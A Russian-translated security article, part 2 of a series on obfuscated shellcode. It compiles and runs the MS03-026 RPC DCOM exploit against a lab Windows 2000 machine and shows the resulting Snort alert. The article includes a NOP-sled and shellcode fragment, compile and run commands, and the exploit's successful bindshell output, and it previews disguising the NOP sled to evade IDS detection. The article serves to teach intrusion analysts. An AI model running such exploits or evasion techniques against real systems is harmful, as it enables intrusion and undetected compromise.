Затемненный Shellcode, Волк в овечьей шкуре (Часть 2)

Published on Февраль 3, 2009 by   ·   Комментариев нет

В данной, второй части мы посмотрим, чем фактически является NOP след и на что он похож. Далее мы используем эксплоит с существующим NOP след, чтобы увидеть, как он отображается в системе обнаружения атак (IDS), такой как Snort, с установленным по умолчанию набором правил.

Если Вы пропустили другие статьи в данной серии, пожалуйста, прочитайте:

Продолжая с того места, где закончилась первая часть статьи, мы теперь на практике посмотрим на полнофункциональный эксплоит, который содержит в себе NOP след. В этой части мы скомпилируем эксплоит, а затем используем его против лабораторной машины. На данной машине будет запущена система Snort с набором правил (ruleset) по умолчанию. Фактическим эксплоитом будет MS03-026, код которого можно загрузить отсюда. Обратите внимание, что код эксплоита должен быть скомпилирован на компьютере под управлением Linux или Windows с запущенным Cygwin. Для тех из вас, кто слабо себе представляет, как люди узнают, под какой системой компилировать тот или иной код, существует небольшая подсказка. Посмотрите в секцию #include кода эксплоита. Она содержит ссылки на модули, специфические либо для win32, либо для Linux. Посмотрите на нижеприведенный пример:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>

Мы видим, что для компиляции данного кода требуется модуль #include <unistd.h>. Такой файл можно найти только в операционной системе Linux. Это стандартный файл заголовка UNIX. Это говорит вам, что код данного эксплоита нельзя скомпилировать на системе win32, по крайней мере без использования Cygwin. Если вы по профессии не программист, такие маленькие хитрости укажут вам, под какой ОС следует компилировать код данного эксплоита. Теперь, когда мы знаем, под какой системой компилировать вышеупомянутый эксплоит, давайте посмотрим на NOP след в его коде.

/* bindshell no RPC crash, defineable spawn port */
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"

Мы видим выше, что это NOP след, известный также как 0x90, который, как я уже упоминал, может засечь почти любая система обнаружения атак. Почти все IDS содержат данную последовательность 0x90 как часть сигнатуры попытки переполнения буфера. Это самая характерная деталь, которую мы хотим закамуфлировать, и от этого будет отталкиваться наша работа. С этой целью я скомпилирую данный код и надеюсь, что вы тоже это сделаете. Затем мы запустим его против лабораторной машины с запущенной системой Snort. Это позволит нам увидеть, сработали ли какие-либо сигнатуры, и если да, то какие именно. Я буду компилировать свой код под Linux как указано ниже:

Компилируем гада

Учтите, что я делаю это в Linux. Я вырезаю и вставляю код в файл, созданный мною в xterm. Получившийся файл я называю test_sploit.c

Теперь я должен скомпилировать сам код, используя gcc, следующей командой:

linux:/home/don # gcc –o test_sploit test_sploit.c

Во время компиляции кода вы увидите два предупреждения. Игнорируйте их – они не повлияют на компилируемый бинарник. Теперь мы хотим вызвать эксплоит и посмотреть, работает ли он.

linux:/home/don # ./test_sploit

RPC DCOM exploit coded by .:[oc192.us]:. Security
Usage:

./test_sploit -d <host> [options]
Options:
-d:             Hostname to attack [Required]
-t:             Type [Default: 0]
-r:             Return address [Default: Selected from target]
-p:             Attack port [Default: 135]
-l:             Bindshell port [Default: 666]

Types:
0 [0x0018759f]: [Win2k-Universal]
1 [0x0100139d]: [WinXP-Universal]
linux:/home/don #

Итак, на данный момент мы знаем, что программа работает, но чтобы удостовериться, что она реально «сорвет крышу» уязвимому компьютеру, нам нужно заполнить ее необходимой информацией, как указано выше. Реально я записываю только одно – IP-адрес компьютера-жертвы в лаборатории. Остальные поля я оставлю настроенными по умолчанию.

linux:/home/don # ./test_sploit -d 192.168.1.101
RPC DCOM remote exploit — .:[oc192.us]:. Security
[+] Resolving host..
[+] Done.
— Target: [Win2k-Universal]:192.168.1.101:135, Bindshell:666,
RET=[0x0018759f]
[+] Connected to bindshell..

— bling bling —

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

Каким должен быть ответ Snort?

Итак, по указанной выше информации мы видим, что эксплоит сработал и предоставил нам доступ на уровне системы. Теперь посмотрим на сам компьютер-жертву, чтобы увидеть, что засекла система Snort, если она вообще что-либо засекла. Ниже показан фактически сгенерированный Snort файл alert.ids, когда система обнаружила пакеты, идущие от атакующего компьютера.

[**] [1:2351:8] NETBIOS DCERPC ISystemActivator path overflow attempt little endian [**]

[Classification: Attempted Administrator Privilege Gain] [Priority: 1]

01/28-08:49:36.011482 192.168.1.102:1040 -> 192.168.1.101:135
TCP TTL:64 TOS:0x0 ID:31304 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0xFFBD6980  Ack: 0x1071DF86  Win: 0x5B4  TcpLen: 32
TCP Options (3) => NOP NOP TS: 3937142 27317

[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11808][Xref =>
http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0352][Xref => http://www.securityfocus.com/bid/8205]

Как показывает файл alert.ids, система Snort на самом деле сообщила об атаке по сигнатуре NETBIOS DCERPC. DCERPC означает Distributed Computing Environment, Remote Procedure Call (Среда распределенных вычислений, удаленный вызов процедуры), иначе говоря, порт 135. Отлично – сообщение Snort указывает на попытку захвата административных привилегий. Наконец, система также замечает, что уязвимость подвержена эксплоиту, и показывает гиперссылку на него. Имея в наличии такую информацию, аналитик может посмотреть на подозрительные пакеты и увидеть, что атака была нацелена на порт 135. Это, плюс факт, что в пакет, содержащий сам эксплоит, включен хорошо известный NOP след, позволяет утверждать, что атака была настоящей. Все свидетельства говорят аналитику, что тревога не была ложной.

Итак, мы видим, что существуют специфические критерии, на которые аналитику по сетевой безопасности следует обращать внимание. Одним из главных индикаторов (так как он касается переполнения буфера), как мы теперь знаем, является присутствие NOP след. Это сообщает нам, что поставщики систем обнаружения атак используют при создании эффективных сигнатур. Будучи аналитиком по сетевой безопасности, я знаю, что много моих коллег смотрят, присутствует ли в пакете 0x90, чтобы подтвердить факт попытки переполнения буфера. Однако проблема в том, что несколько раз я лично видел, как опытные аналитики объявляли о ложной тревоге только из-за отсутствия NOP след.

Главное – тренировка

Вряд ли можно обвинить человека, не прошедшего соответствующую практику, в неспособности выполнять свои обязанности. Я узнал об обфускации кода оболочки, зайдя по ссылке, ведущей к данной проблеме. Только после прочтения достаточного количества материалов по теме я начал понимать, в чем дело. Сам я не программист, но могу осознать, что означает большая часть исходного кода, читая его. Только после множества попыток и ошибок я смог найти равнозначную замену для 0x90. Сделав это, я начал экспериментировать с заменой нескольких равнозначных функций между собой. Если вы используете только одну функцию или символ, вы далеко не уедете. Аналитик не успокоится, увидев, скажем, множество вхождений 0x42, так как он зпо идее знает, что это та же попытка переполнения буфера, только с использованием другого символа. На этом мы закончим данную часть статьи. В последней части мы замаскируем используемый ранее NOP след и используем некоторые другие функции, чтобы добиться такого же эффекта. Затем полученный результат будет протестирован против Snort и посмотрим, что получится. До встречи!

Источник www.windowsecurity.com
































Смотрите также:

Tags: , , , , , ,

Readers Comments (Комментариев нет)




Да человек я, человек! =)




Exchange 2007

Проведение мониторинга Exchange 2007 с помощью диспетчера System Center Operations Manager 2007 (часть 3)

Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам: Проведение мониторинга Exchange 2007 с помощью диспетчера System ... [+]

Практическое рассмотрение перехода с Exchange 2003 на Exchange 2007 (часть 1)

Введение В этой статье из нескольких частей я хочу показать вам процесс, который недавно использовал для перехода с существующей среды Exchange 2003 ... [+]

Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (часть 2)

Если вы пропустили первую часть этой серии, пожалуйста, прочтите ее по ссылке Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (Часть ... [+]

Мониторинг Exchange 2007 с помощью диспетчера System Center Operations Manager 2007 (часть 2)

Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Мониторинг Exchange 2007 с помощью диспетчера System Center Operations ... [+]

Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 5)

Если вы пропустили предыдущие части этой серии статей, перейдите по ссылкам: Подробное рассмотрение подготовки Active Directory для Exchange 2007 (часть 1) ... [+]

Установка и настройка Exchange 2007 из командной строки (Часть 3)

If you missed the previous parts in this article series please read: Exchange 2007 Install and Configuration from the command line (Part ... [+]

Использование инструмента Exchange Server Remote Connectivity Analyzer Tool (часть 1)

Инструмент ExRCA Текущий выпуск инструмента предоставляется только в целях тестирования и оснащен 5 опциями: Тест подключения Outlook 2007 Autodiscover Тест подключения Outlook 2003 RPC ... [+]

Развертывание сервера Exchange 2007 Edge Transport (часть 5)

Если вы хотите прочитать предыдущие части этой серии статей, перейдите по ссылкам: Развертывание сервера Exchange 2007 Edge Transport (часть 1) Развертывание ... [+]

Установка и настройка Exchange 2007 из командной строки (часть 2)

Если вы пропустили первую статью данного цикла, пожалуйста, перейдите по ссылке: Exchange 2007 Install and Configuration from the command line (Part ... [+]

Использование интегрированных сценариев Using Exchange Server 2007 – часть 2: генерирование отчетов агента Transport AntiSpam Agent

Если вы пропустили предыдущую часть этой серии статей, перейдите по ссылке Использование интегрированных сценариев Using Exchange Server 2007 – часть ... [+]